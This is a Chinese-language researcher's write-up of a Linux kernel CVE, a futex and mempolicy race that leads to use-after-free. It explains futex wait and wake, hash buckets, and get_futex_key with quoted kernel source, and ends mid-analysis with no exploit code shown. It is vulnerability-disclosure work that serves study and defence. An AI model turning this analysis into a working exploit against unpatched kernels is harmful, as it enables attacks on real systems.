My Second CVE on Linux Kernel - Futex and mempolicy race condition to UAF

Author: 堇姬 Naup (naup96321)

前言

第二個洞好耶
https://www.tenable.com/plugins/nessus/304783
https://ubuntu.com/security/CVE-2026-23415

futex

Fast Userspace muTexes

傳統的 System V IPC 同步機制每次都必須透過系統呼叫（system call）進入核心態，由核心來仲裁資源的競爭與同步。

https://www.kernel.org/doc/ols/2002/ols2002-pages-479-495.pdf

https://hackmd.io/@sysprog/concurrency-thread-package

https://man7.org/linux/man-pages/man7/svipc.7.html#:~:text=System%20V%20IPC%20is%20the%20name%20given,UNIX%20systems:%20message%20queues%2C%20semaphore%2C%20and%20shared

然而，實際情況下大多數時候根本沒有資源競爭，在這種情況下仍強制陷入核心態，白白增加了系統開銷，造成不必要的效能損耗

Futex 在使用者態表現為一個 atomic variable (CAS)

  • 加鎖時：若鎖處於空閒狀態，直接以原子操作修改該變數的值，即視為持有該鎖，完全不需要陷入核心
  • 解鎖時：若沒有其他執行緒在等待該鎖，直接將變數重置為空閒狀態，同樣無需陷入核心

當出現鎖競爭時，才會透過 Futex 系統呼叫進入核心

  • 等待鎖時：若執行緒搶鎖失敗，透過 futex() 系統呼叫陷入核心，將自己掛入 wait queue 中休眠
  • 喚醒執行緒時：釋放鎖的執行緒發現有人在等待，透過 futex() 系統呼叫陷入核心，喚醒等待佇列中的執行緒

syscall

1
2
3
4
5
6
7
8
SYSCALL_DEFINE6(futex,
    u32 __user *,  uaddr,   // 使用者態的 futex 變數位址
    int,           op,      // 操作類型（WAIT / WAKE / 其他）
    u32,           val,     // 操作相關的數值（依 op 而定）
    const struct __kernel_timespec __user *, utime,  // 逾時時間（可為 NULL）
    u32 __user *,  uaddr2,  // 第二個 futex 位址（部分操作才用）
    u32,           val3     // 額外參數（部分操作才用）
)

解出真正的 cmd（去掉 flag bits），之後看是否有 timeout time，有的話就將 time 轉換成 kernel 內部格式 (複製到 ts 上)

之後 call do_futex

https://elixir.bootlin.com/linux/v7.0-rc3/source/kernel/futex/syscalls.c#L188

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
SYSCALL_DEFINE6(futex, u32 __user *, uaddr, int, op, u32, val,
		const struct __kernel_timespec __user *, utime,
		u32 __user *, uaddr2, u32, val3)
{
	int ret, cmd = op & FUTEX_CMD_MASK;
	ktime_t t, *tp = NULL;
	struct timespec64 ts;

	if (utime && futex_cmd_has_timeout(cmd)) {
		if (unlikely(should_fail_futex(!(op & FUTEX_PRIVATE_FLAG))))
			return -EFAULT;
		if (get_timespec64(&ts, utime))
			return -EFAULT;
		ret = futex_init_timeout(cmd, op, &ts, &t);
		if (ret)
			return ret;
		tp = &t;
	}

	return do_futex(uaddr, op, val, tp, uaddr2, (unsigned long)utime, val3);
}

futex_to_flags(op) 把 op 中的旗標部分轉成核心內部使用的 flags
之後將 cmd 分發到不同的實作

https://elixir.bootlin.com/linux/v7.0-rc3/source/kernel/futex/syscalls.c#L112

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
long do_futex(u32 __user *uaddr, int op, u32 val, ktime_t *timeout,
		u32 __user *uaddr2, u32 val2, u32 val3)
{
	unsigned int flags = futex_to_flags(op);
	int cmd = op & FUTEX_CMD_MASK;

	if (flags & FLAGS_CLOCKRT) {
		if (cmd != FUTEX_WAIT_BITSET &&
		    cmd != FUTEX_WAIT_REQUEUE_PI &&
		    cmd != FUTEX_LOCK_PI2)
			return -ENOSYS;
	}

	switch (cmd) {
	case FUTEX_WAIT:
		val3 = FUTEX_BITSET_MATCH_ANY;
		fallthrough;
	case FUTEX_WAIT_BITSET:
		return futex_wait(uaddr, flags, val, timeout, val3);
	case FUTEX_WAKE:
		val3 = FUTEX_BITSET_MATCH_ANY;
		fallthrough;
	case FUTEX_WAKE_BITSET:
		return futex_wake(uaddr, flags, val, val3);
	case FUTEX_REQUEUE:
		return futex_requeue(uaddr, flags, uaddr2, flags, val, val2, NULL, 0);
	case FUTEX_CMP_REQUEUE:
		return futex_requeue(uaddr, flags, uaddr2, flags, val, val2, &val3, 0);
	case FUTEX_WAKE_OP:
		return futex_wake_op(uaddr, flags, uaddr2, val, val2, val3);
	case FUTEX_LOCK_PI:
		flags |= FLAGS_CLOCKRT;
		fallthrough;
	case FUTEX_LOCK_PI2:
		return futex_lock_pi(uaddr, flags, timeout, 0);
	case FUTEX_UNLOCK_PI:
		return futex_unlock_pi(uaddr, flags);
	case FUTEX_TRYLOCK_PI:
		return futex_lock_pi(uaddr, flags, NULL, 1);
	case FUTEX_WAIT_REQUEUE_PI:
		val3 = FUTEX_BITSET_MATCH_ANY;
		return futex_wait_requeue_pi(uaddr, flags, val, timeout, val3,
					     uaddr2);
	case FUTEX_CMP_REQUEUE_PI:
		return futex_requeue(uaddr, flags, uaddr2, flags, val, val2, &val3, 1);
	}
	return -ENOSYS;
}
  • WAIT 系列是讓執行緒休眠等待，WAKE 系列是喚醒休眠中的執行緒。兩者都有帶 BITSET 的變體，差別在於可以用一個遮罩來篩選「只接受特定來源的喚醒」，讓喚醒更有選擇性
  • REQUEUE 系列是把正在等待的執行緒從一個 futex 的等待佇列移到另一個，主要目的是避免一次喚醒太多執行緒造成大家同時搶鎖的浪費。CMP_REQUEUE 版本會在搬移前先確認 futex 的值是否符合預期，多一層安全保護
  • WAKE_OP 比較特殊，它在一次系統呼叫裡同時做兩件事：修改某個 futex 的值，並根據修改前後的結果決定要不要喚醒兩邊的等待者，主要用來實作條件變數
  • PI 系列是帶優先權繼承的鎖操作。當高優先權執行緒在等待低優先權執行緒持有的鎖時，核心會暫時把低優先權執行緒的優先權拉高，避免它被中間優先權的執行緒一直搶佔而遲遲無法釋放鎖

futex_wait

  • 如果呼叫者有指定逾時時間，就先用 futex_setup_timer() 建立一個高精度計時器，之後會用這個計時器來限制最長等待時間。如果沒有逾時時間就跳過這步。
  • 呼叫 __futex_wait() 進入真正的等待邏輯，執行緒在這裡會被掛起睡眠，直到被喚醒或計時器到期。
  • 從等待返回後做收尾。如果當初有建立計時器，不管結果如何都要先把它取消並清理掉，避免資源洩漏

https://elixir.bootlin.com/linux/v7.0-rc3/source/kernel/futex/waitwake.c#L706

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
int futex_wait(u32 __user *uaddr, unsigned int flags, u32 val, ktime_t *abs_time, u32 bitset)
{
	struct hrtimer_sleeper timeout, *to;
	struct restart_block *restart;
	int ret;

	to = futex_setup_timer(abs_time, &timeout, flags,
			       current->timer_slack_ns);

	ret = __futex_wait(uaddr, flags, val, to, bitset);

	/* No timeout, nothing to clean up. */
	if (!to)
		return ret;

	hrtimer_cancel(&to->timer);
	destroy_hrtimer_on_stack(&to->timer);

	if (ret == -ERESTARTSYS) {
		restart = &current->restart_block;
		restart->futex.uaddr = uaddr;
		restart->futex.val = val;
		restart->futex.time = *abs_time;
		restart->futex.bitset = bitset;
		restart->futex.flags = flags | FLAGS_HAS_TIMEOUT;

		return set_restart_fn(restart, futex_wait_restart);
	}

	return ret;
}

首先檢查 bitset 是否為零，為零的話直接回錯誤，因為 bitset 全為零代表不接受任何喚醒，等了也沒有意義

接著進入一個可重試的流程。先呼叫 futex_wait_setup() 做進入等待前的準備，它會去確認使用者態的 futex 變數值是否還等於預期的 val，並把這個執行緒的等待節點 q 初始化好、鎖住對應的 hash bucket，這個檢查非常重要，因為從使用者態決定要等待、到真正進核心這段時間內，鎖的狀態可能已經改變了，如果值已經不同就不需要等了，直接返回

準備好之後呼叫 futex_do_wait()，把 q 加入等待佇列，然後讓執行緒睡眠，在這裡等待三種可能發生的事：被其他執行緒喚醒、計時器逾時、或收到信號

從睡眠返回後，先嘗試把自己從等待佇列移除。如果移除失敗，代表別人已經先把我們從佇列中取出並喚醒了，這是正常成功的情況，直接回傳 0

如果還在佇列裡，就要判斷是什麼原因醒來的。如果計時器存在但它的 task 欄位已經是空的，代表是計時器到期把我們喚醒的，回傳 -ETIMEDOUT

https://elixir.bootlin.com/linux/v7.0-rc3/source/kernel/futex/waitwake.c#L666

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
int __futex_wait(u32 __user *uaddr, unsigned int flags, u32 val,
		 struct hrtimer_sleeper *to, u32 bitset)
{
	struct futex_q q = futex_q_init;
	int ret;

	if (!bitset)
		return -EINVAL;

	q.bitset = bitset;

retry:
	/*
	 * Prepare to wait on uaddr. On success, it holds hb->lock and q
	 * is initialized.
	 */
	ret = futex_wait_setup(uaddr, val, flags, &q, NULL, current);
	if (ret)
		return ret;

	/* futex_queue and wait for wakeup, timeout, or a signal. */
	futex_do_wait(&q, to);

	/* If we were woken (and unqueued), we succeeded, whatever. */
	if (!futex_unqueue(&q))
		return 0;

	if (to && !to->task)
		return -ETIMEDOUT;

	/*
	 * We expect signal_pending(current), but we might be the
	 * victim of a spurious wakeup as well.
	 */
	if (!signal_pending(current))
		goto retry;

	return -ERESTARTSYS;
}

futex_q 是每個掛在 kernel wait 的 thread 一個代表，這樣的結構會掛在等待佇列

https://elixir.bootlin.com/linux/v7.0-rc3/source/kernel/futex/futex.h#L192

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
/**
 * struct futex_q - The hashed futex queue entry, one per waiting task
 * @list:		priority-sorted list of tasks waiting on this futex
 * @task:		the task waiting on the futex
 * @lock_ptr:		the hash bucket lock
 * @wake:		the wake handler for this queue
 * @wake_data:		data associated with the wake handler
 * @key:		the key the futex is hashed on
 * @pi_state:		optional priority inheritance state
 * @rt_waiter:		rt_waiter storage for use with requeue_pi
 * @requeue_pi_key:	the requeue_pi target futex key
 * @bitset:		bitset for the optional bitmasked wakeup
 * @requeue_state:	State field for futex_requeue_pi()
 * @drop_hb_ref:	Waiter should drop the extra hash bucket reference if true
 * @requeue_wait:	RCU wait for futex_requeue_pi() (RT only)
 *
 * We use this hashed waitqueue, instead of a normal wait_queue_entry_t, so
 * we can wake only the relevant ones (hashed queues may be shared).
 *
 * A futex_q has a woken state, just like tasks have TASK_RUNNING.
 * It is considered woken when plist_node_empty(&q->list) || q->lock_ptr == 0.
 * The order of wakeup is always to make the first condition true, then
 * the second.
 *
 * PI futexes are typically woken before they are removed from the hash list via
 * the rt_mutex code. See futex_unqueue_pi().
 */
struct futex_q {
	struct plist_node list;

	struct task_struct *task;
	spinlock_t *lock_ptr;
	futex_wake_fn *wake;
	void *wake_data;
	union futex_key key;
	struct futex_pi_state *pi_state;
	struct rt_mutex_waiter *rt_waiter;
	union futex_key *requeue_pi_key;
	u32 bitset;
	atomic_t requeue_state;
	bool drop_hb_ref;
#ifdef CONFIG_PREEMPT_RT
	struct rcuwait requeue_wait;
#endif
} __randomize_layout;

futex_wait_setup() 的工作是在執行緒真正睡著之前，把所有準備工作做好，並確保「確認值相符」和「進入佇列」這兩件事之間不會出現競爭窗口

首先用 get_futex_key() 把使用者傳入的位址轉換成核心內部用來識別這個 futex 的 key，這個 key 會決定它要被掛進哪個 hash bucket

接著鎖住對應的 hash bucket，然後才去讀取使用者態的 futex 變數值。這個順序非常關鍵，注釋裡特別解釋了原因：必須先鎖 bucket、再讀值，順序不能反過來。如果先讀值再鎖 bucket，就會有一個空窗期，在這個空窗期裡喚醒方可能已經改了值並呼叫了 wake，而等待方還沒進佇列，結果把這次喚醒整個錯過，執行緒就會永遠睡下去

讀取使用者態記憶體時用的是 futex_get_value_locked()，這個版本可以在持有鎖的情況下安全存取使用者態記憶體。如果讀取失敗，通常是因為對應的記憶體頁面不在實體記憶體中需要觸發 page fault，這種情況下會先解鎖，用 get_user() 正常觸發一次 page fault 把頁面載入，然後再重試整個流程

讀到值之後跟期望的 val 比較，如果不相符代表鎖的狀態已經改變，不需要等待，直接解鎖並回傳 -EWOULDBLOCK

如果有傳入 key2，還會檢查兩個 key 是否相同，相同的話代表等待和目標是同一個 futex，這在 requeue_pi 的情境下是不合法的，回傳 -EINVAL

通過所有檢查之後，把執行緒狀態設為 TASK_INTERRUPTIBLE|TASK_FREEZABLE，代表可以被信號或系統凍結喚醒，然後呼叫 futex_queue() 把 q 正式掛進等待佇列，同時釋放 hash bucket 的鎖。這個函式返回時，執行緒已經在佇列裡了，接下來只要呼叫排程器就會真正睡著

https://elixir.bootlin.com/linux/v7.0-rc3/source/kernel/futex/waitwake.c#L591

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
/**
 * futex_wait_setup() - Prepare to wait on a futex
 * @uaddr:	the futex userspace address
 * @val:	the expected value
 * @flags:	futex flags (FLAGS_SHARED, etc.)
 * @q:		the associated futex_q
 * @key2:	the second futex_key if used for requeue PI
 * @task:	Task queueing this futex
 *
 * Setup the futex_q and locate the hash_bucket.  Get the futex value and
 * compare it with the expected value.  Handle atomic faults internally.
 * Return with the hb lock held on success, and unlocked on failure.
 *
 * Return:
 *  -  0 - uaddr contains val and hb has been locked;
 *  - <0 - On error and the hb is unlocked. A possible reason: the uaddr can not
 *	   be read, does not contain the expected value or is not properly aligned.
 */
int futex_wait_setup(u32 __user *uaddr, u32 val, unsigned int flags,
		     struct futex_q *q, union futex_key *key2,
		     struct task_struct *task)
{
	u32 uval;
	int ret;

	/*
	 * Access the page AFTER the hash-bucket is locked.
	 * Order is important:
	 *
	 *   Userspace waiter: val = var; if (cond(val)) futex_wait(&var, val);
	 *   Userspace waker:  if (cond(var)) { var = new; futex_wake(&var); }
	 *
	 * The basic logical guarantee of a futex is that it blocks ONLY
	 * if cond(var) is known to be true at the time of blocking, for
	 * any cond.  If we locked the hash-bucket after testing *uaddr, that
	 * would open a race condition where we could block indefinitely with
	 * cond(var) false, which would violate the guarantee.
	 *
	 * On the other hand, we insert q and release the hash-bucket only
	 * after testing *uaddr.  This guarantees that futex_wait() will NOT
	 * absorb a wakeup if *uaddr does not match the desired values
	 * while the syscall executes.
	 */
retry:
	ret = get_futex_key(uaddr, flags, &q->key, FUTEX_READ);
	if (unlikely(ret != 0))
		return ret;

retry_private:
	if (1) {
		CLASS(hb, hb)(&q->key);

		futex_q_lock(q, hb);

		ret = futex_get_value_locked(&uval, uaddr);

		if (ret) {
			futex_q_unlock(hb);

			ret = get_user(uval, uaddr);
			if (ret)
				return ret;

			if (!(flags & FLAGS_SHARED))
				goto retry_private;

			goto retry;
		}

		if (uval != val) {
			futex_q_unlock(hb);
			return -EWOULDBLOCK;
		}

		if (key2 && futex_match(&q->key, key2)) {
			futex_q_unlock(hb);
			return -EINVAL;
		}

		/*
		 * The task state is guaranteed to be set before another task can
		 * wake it. set_current_state() is implemented using smp_store_mb() and
		 * futex_queue() calls spin_unlock() upon completion, both serializing
		 * access to the hash list and forcing another memory barrier.
		 */
		if (task == current)
			set_current_state(TASK_INTERRUPTIBLE|TASK_FREEZABLE);
		futex_queue(q, hb, task);
	}

	return ret;
}

futex_hash_bucket 是 futex 等待佇列的基本單位，所有雜湊到同一個位置的 futex 共用同一個 bucket

  • waiters 是一個原子計數器，記錄這個 bucket 裡目前有多少個執行緒在等待。這個欄位的主要用途是讓喚醒方在不需要加鎖的情況下快速判斷有沒有人在等，如果是零就可以直接跳過，省去加鎖的開銷
  • lock 是保護這個 bucket 的自旋鎖，對 chain 的任何操作都需要先持有這把鎖
  • chain 是實際存放等待節點的優先權排序鏈結串列，所有掛在這個 bucket 上的 futex_q 都串在這裡

https://elixir.bootlin.com/linux/v7.0-rc3/source/kernel/futex/futex.h#L134

1
2
3
4
5
6
7
8
9
10
11
/*
 * Hash buckets are shared by all the futex_keys that hash to the same
 * location.  Each key may have multiple futex_q structures, one for each task
 * waiting on a futex.
 */
struct futex_hash_bucket {
	atomic_t waiters;
	spinlock_t lock;
	struct plist_head chain;
	struct futex_private_hash *priv;
} ____cacheline_aligned_in_smp;

在往上一層，這些 bucket 被該 queue 串起來
https://elixir.bootlin.com/linux/v7.0-rc3/source/kernel/futex/core.c#L60

1
2
3
4
5
6
7
8
9
10
/*
 * The base of the bucket array and its size are always used together
 * (after initialization only in futex_hash()), so ensure that they
 * reside in the same cacheline.
 */
static struct {
	unsigned long            hashmask;
	unsigned int		 hashshift;
	struct futex_hash_bucket *queues[MAX_NUMNODES];
} __futex_data __read_mostly __aligned(2*sizeof(long));

既然他是一個 hash table，就應該有 hash key
https://elixir.bootlin.com/linux/v7.0-rc3/source/include/linux/futex.h#L32

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
union futex_key {
	struct {
		u64 i_seq;
		unsigned long pgoff;
		unsigned int offset;
		/* unsigned int node; */
	} shared;
	struct {
		union {
			struct mm_struct *mm;
			u64 __tmp;
		};
		unsigned long address;
		unsigned int offset;
		/* unsigned int node; */
	} private;
	struct {
		u64 ptr;
		unsigned long word;
		unsigned int offset;
		unsigned int node;	/* NOT hashed! */
	} both;
};

__futex_data 持有全域 bucket 陣列，每個 futex_hash_bucket 的 chain 串起一條按優先權排序的 futex_q 鏈表

futex_key 是 union，跨進程用 shared（檔案 inode + pgoff），同進程用 private（mm + address），經 jhash 算出 bucket 索引，喚醒時也靠它過濾出真正等這把鎖的人

(圖是 claude 畫的)
image

接下來執行 futex_do_wait 實際的等待 function

首先如果有設定逾時計時器，就在這裡把它啟動，讓它在到期時來打斷睡眠

接著檢查自己的 q->list 是否還在 plist 上。如果已經不在了，代表在這個函式被呼叫之前、甚至在 futex_wait_setup() 剛解鎖的瞬間，喚醒方就已經把我們從佇列裡移走了，這種情況下根本不需要睡覺，直接跳過 schedule()

如果還在佇列裡，才考慮要不要呼叫 schedule()，他會去任務切換，保存當前 CPU 任務的狀態，並載入新任務的狀態

https://elixir.bootlin.com/linux/v7.0-rc3/source/kernel/futex/waitwake.c#L341

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
void futex_do_wait(struct futex_q *q, struct hrtimer_sleeper *timeout)
{
	/* Arm the timer */
	if (timeout)
		hrtimer_sleeper_start_expires(timeout, HRTIMER_MODE_ABS);

	/*
	 * If we have been removed from the hash list, then another task
	 * has tried to wake us, and we can skip the call to schedule().
	 */
	if (likely(!plist_node_empty(&q->list))) {
		/*
		 * If the timer has already expired, current will already be
		 * flagged for rescheduling. Only call schedule if there
		 * is no timeout, or if it has yet to expire.
		 */
		if (!timeout || timeout->task)
			schedule();
	}
	__set_current_state(TASK_RUNNING);
}

當等待結束就會去 unqueue
有幾種狀況會在同一個 bucket:

  • 第一種：等待同一把鎖。 這是設計上刻意的。同一個 futex 變數的所有等待者，uaddr 相同，計算出來的 futex_key 也相同，jhash 結果自然相同，所以全部落在同一個 bucket 的 chain 上。喚醒時就在這條 chain 上逐一找 key 相符的節點來喚醒
  • 第二種：雜湊碰撞。 bucket 總數固定（預設 256 個），不同的 futex_key 經過 jhash 後可能算出相同的索引，就會落在同一個 bucket，但它們在 chain 上的 key 值不同。這就是為什麼喚醒時不能直接叫醒 chain 上的所有人，必須逐一比對 futex_key 確認是否真的在等同一把鎖

image

futex_wake

首先一樣先檢查 bitset 不為零，然後用 uaddr 計算出 futex_key，找到對應的 bucket
確認有人在等之後鎖住 bucket，開始遍歷 chain。對每個節點做三層過濾：

  • 第一層是 futex_match() 比對 key，確認是在等同一個 futex 變數的人，排除雜湊碰撞進來的無關節點。
  • 第二層是檢查 pi_state 和 rt_waiter，如果有這兩個欄位代表這個節點是 PI futex 的等待者，不應該用普通的 wake 路徑喚醒，直接回傳 -EINVAL 表示用錯了操作。
  • 第三層是 bitset 過濾，只有等待者的 bitset 和喚醒方的 bitset 有交集，這個等待者才會被喚醒，實現選擇性喚醒

通過三層過濾的節點呼叫 this->wake() 把它加入 wake_q，這裡只是登記，還沒有真正喚醒
最後 call wake_up_q，來喚醒目前在 wake_q 內的 thread

https://elixir.bootlin.com/linux/v7.0-rc3/source/kernel/futex/waitwake.c#L155

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
int futex_wake(u32 __user *uaddr, unsigned int flags, int nr_wake, u32 bitset)
{
	struct futex_q *this, *next;
	union futex_key key = FUTEX_KEY_INIT;
	DEFINE_WAKE_Q(wake_q);
	int ret;

	if (!bitset)
		return -EINVAL;

	ret = get_futex_key(uaddr, flags, &key, FUTEX_READ);
	if (unlikely(ret != 0))
		return ret;

	if ((flags & FLAGS_STRICT) && !nr_wake)
		return 0;

	CLASS(hb, hb)(&key);

	/* Make sure we really have tasks to wakeup */
	if (!futex_hb_waiters_pending(hb))
		return ret;

	spin_lock(&hb->lock);

	plist_for_each_entry_safe(this, next, &hb->chain, list) {
		if (futex_match (&this->key, &key)) {
			if (this->pi_state || this->rt_waiter) {
				ret = -EINVAL;
				break;
			}

			/* Check if one of the bits is set in both bitsets */
			if (!(this->bitset & bitset))
				continue;

			this->wake(&wake_q, this);
			if (++ret >= nr_wake)
				break;
		}
	}

	spin_unlock(&hb->lock);
	wake_up_q(&wake_q);
	return ret;
}

wake 實際上是 call 到這個

  • 首先用 get_task_struct(p) 對目標執行緒的引用計數加一，防止在後續操作過程中這個 task_struct 被釋放掉
  • 接著呼叫 __futex_wake_mark(q) 做兩件事：把 q 從 bucket 的 chain 上移除，並把 q->lock_ptr 設為 NULL。這兩個動作合起來就是前面提過的已喚醒判斷條件，等待方的 futex_do_wait() 和 futex_unqueue() 都是靠這兩個條件來判斷自己是否已經被喚醒。如果這步失敗（回傳 false），代表這個節點已經被其他路徑處理掉了，把剛才加的引用計數還回去直接返回
  • 最後呼叫 wake_q_add_safe() 把執行緒加入 wake_q，這個佇列會在外層 futex_wake() 解鎖之後才統一被 wake_up_q() 消費，真正把所有執行緒喚醒

https://elixir.bootlin.com/linux/v7.0-rc3/source/kernel/futex/waitwake.c#L134

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void futex_wake_mark(struct wake_q_head *wake_q, struct futex_q *q)
{
	struct task_struct *p = q->task;

	get_task_struct(p);

	if (!__futex_wake_mark(q)) {
		put_task_struct(p);
		return;
	}

	/*
	 * Queue the task for later wakeup for after we've released
	 * the hb->lock.
	 */
	wake_q_add_safe(wake_q, p);
}

上述提及的可以參考這段 code，上面的註釋說明的相當清楚
https://elixir.bootlin.com/linux/v7.0-rc3/source/kernel/futex/waitwake.c#L110

最後 wakeup_q 可以去喚醒
簡單來說就是 traverse 然後 wakeup_process()

https://elixir.bootlin.com/linux/v7.0-rc3/source/kernel/sched/core.c#L1083

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
void wake_up_q(struct wake_q_head *head)
{
	struct wake_q_node *node = head->first;

	while (node != WAKE_Q_TAIL) {
		struct task_struct *task;

		task = container_of(node, struct task_struct, wake_q);
		node = node->next;
		/* pairs with cmpxchg_relaxed() in __wake_q_add() */
		WRITE_ONCE(task->wake_q.next, NULL);
		/* Task can safely be re-inserted now. */

		/*
		 * wake_up_process() executes a full barrier, which pairs with
		 * the queueing in wake_q_add() so as not to miss wakeups.
		 */
		wake_up_process(task);
		put_task_struct(task);
	}
}

futex_requeue

futex_requeue() 解決的問題是，有一批執行緒在等 uaddr1，現在想把其中一部分直接搬到 uaddr2 的等待佇列

futex_requeue 解決的是驚群問題，當很多執行緒在等同一個條件變數，條件滿足時不應該把所有人全部喚醒，因為最終只有一個人能拿到鎖，其他人醒來搶輸又回去睡，白白浪費大量上下文切換

因為要同時操作兩個 bucket，加鎖順序必須固定按照記憶體位址由小到大，否則兩邊互等會死鎖。搬移之前也要先把目標 bucket 的 waiters 計數器加一，確保喚醒方不會因為看到計數為零而錯過這些被搬過來的等待者

更詳細的就直接看 code 吧，有點多XD
https://elixir.bootlin.com/linux/v7.0-rc3/source/kernel/futex/requeue.c#L379

mempolicy

https://richardweiyang-2.gitbook.io/kernel-exploring/nei-cun-guan-li/00-index/07-mempolicy

https://www.kernel.org/doc/Documentation/vm/numa_memory_policy.txt

analyze

接下來專注在 wake 內的 get_futex_key

get_futex_key() 的工作是把使用者傳進來的 uaddr 轉換成核心內部用來識別這個 futex 的 key，後續的雜湊計算和 bucket 定位都靠這個 key

首先做對齊檢查。futex 變數必須自然對齊，也就是說 4 byte 的 futex 位址必須是 4 的倍數。把位址對 PAGE_SIZE 取餘數得到頁內偏移量存進 key->both.offset，然後把位址對齊到頁邊界，這樣後面可以統一用頁為單位來處理

接著用 access_ok() 確認這個使用者態位址是合法可存取的，避免後續操作踩到非法記憶體

然後處理 NUMA 相關的邏輯。如果有 FLAGS_NUMA 旗標，代表這是一個 NUMA-aware 的 futex，futex 變數後面緊跟著一個 node 編號，從使用者態讀出這個值來決定要用哪個 NUMA 節點的 bucket。這樣同一個 futex 在不同 NUMA 節點上的執行緒可以各自用本地的 bucket，減少跨節點的記憶體存取

如果沒有明確指定 node，但有 FLAGS_MPOL 旗標，就呼叫 futex_mpol() 根據這塊記憶體的 memory policy 自動推算出對應的 NUMA 節點

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
int get_futex_key(u32 __user *uaddr, unsigned int flags, union futex_key *key,
		  enum futex_access rw)
{
	unsigned long address = (unsigned long)uaddr;
	struct mm_struct *mm = current->mm;
	struct page *page;
	struct folio *folio;
	struct address_space *mapping;
	int node, err, size, ro = 0;
	bool node_updated = false;
	bool fshared;

	fshared = flags & FLAGS_SHARED;
	size = futex_size(flags);
	if (flags & FLAGS_NUMA)
		size *= 2;

	/*
	 * The futex address must be "naturally" aligned.
	 */
	key->both.offset = address % PAGE_SIZE;
	if (unlikely((address % size) != 0))
		return -EINVAL;
	address -= key->both.offset;

	if (unlikely(!access_ok(uaddr, size)))
		return -EFAULT;

	if (unlikely(should_fail_futex(fshared)))
		return -EFAULT;

	node = FUTEX_NO_NODE;

	if (flags & FLAGS_NUMA) {
		u32 __user *naddr = (void *)uaddr + size / 2;

		if (get_user_inline(node, naddr))
			return -EFAULT;

		if ((node != FUTEX_NO_NODE) &&
		    ((unsigned int)node >= MAX_NUMNODES || !node_possible(node)))
			return -EINVAL;
	}

	if (node == FUTEX_NO_NODE && (flags & FLAGS_MPOL)) {
		node = futex_mpol(mm, address);
		node_updated = true;
	}

futex_mpol() 的工作是根據記憶體位址的 NUMA policy 算出這個 futex (uaddr) 應該屬於哪個 NUMA 節點

首先嘗試 futex_key_to_node_opt()，這是一條快速路徑

如果快速路徑沒有結果，就用 guard(mmap_read_lock)(mm) 持有 mmap 讀鎖，再呼叫 __futex_key_to_node() 走完整路徑。加讀鎖是因為需要查詢這個位址對應的 VMA（虛擬記憶體區域），而 VMA 的結構在沒有鎖的情況下可能被其他執行緒修改，必須保護
https://elixir.bootlin.com/linux/v7.0-rc3/source/kernel/futex/core.c#L382

1
2
3
4
5
6
7
8
9
10
11
static int futex_mpol(struct mm_struct *mm, unsigned long addr)
{
	int node;

	node = futex_key_to_node_opt(mm, addr);
	if (node >= FUTEX_NO_NODE)
		return node;

	guard(mmap_read_lock)(mm);
	return __futex_key_to_node(mm, addr);
}

mmap_lock_speculate_try_begin() 讀取目前 mmap 鎖的序號存進 seq，如果 mmap 鎖當前正被寫者持有就直接回 -EBUSY，因為這時候投機讀取沒有意義。

接著在 RCU 保護下直接呼叫 __futex_key_to_node() 讀取 VMA 資訊，這整個過程完全沒有加任何寫鎖，純粹是樂觀地讀取

RCU 保護的是指標的有效性，在 RCU 讀鎖期間，你可以安全地追蹤指標、存取指標指向的物件，不用擔心物件在你讀取的過程中被釋放

讀完之後呼叫 mmap_lock_speculate_retry() 檢查序號是否還和 seq 相同。如果不同代表在我們讀取的期間有其他執行緒修改了 mmap，讀到的結果可能是不一致的，回傳 -EAGAIN 讓上層走慢速路徑。如果序號沒變就代表讀取期間沒有人動過 mmap，結果是可信的，直接返回

mm->mm_lock_seq 是一個序號計數器，每次有人要寫鎖 mmap（例如 mmap_write_lock()）時這個序號就會遞增，寫鎖釋放時再遞增一次。所以序號是奇數代表寫鎖正在被持有，偶數代表目前沒有人持有寫鎖

raw_seqcount_try_begin() 做兩件事：讀取目前的序號存進 seq，並判斷這個序號是否為奇數。如果是奇數（有人持有寫鎖）就回傳 false，告訴上層不要走投機路徑。如果是偶數就回傳 true，同時把當前序號存起來，之後 mmap_lock_speculate_retry() 會拿這個序號來比對，確認讀取過程中序號沒有改變

https://elixir.bootlin.com/linux/v7.0-rc3/source/kernel/futex/core.c#L365

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
static int futex_key_to_node_opt(struct mm_struct *mm, unsigned long addr)
{
	int seq, node;

	guard(rcu)();

	if (!mmap_lock_speculate_try_begin(mm, &seq))
		return -EBUSY;

	node = __futex_key_to_node(mm, addr);

	if (mmap_lock_speculate_retry(mm, seq))
		return -EAGAIN;

	return node;
}

首先用 vma_lookup() 在 mm 裡找出 addr 對應的 VMA（虛擬記憶體區域）。如果找不到代表這個位址沒有對應的合法映射，直接回傳 FUTEX_NO_NODE 表示沒有節點資訊

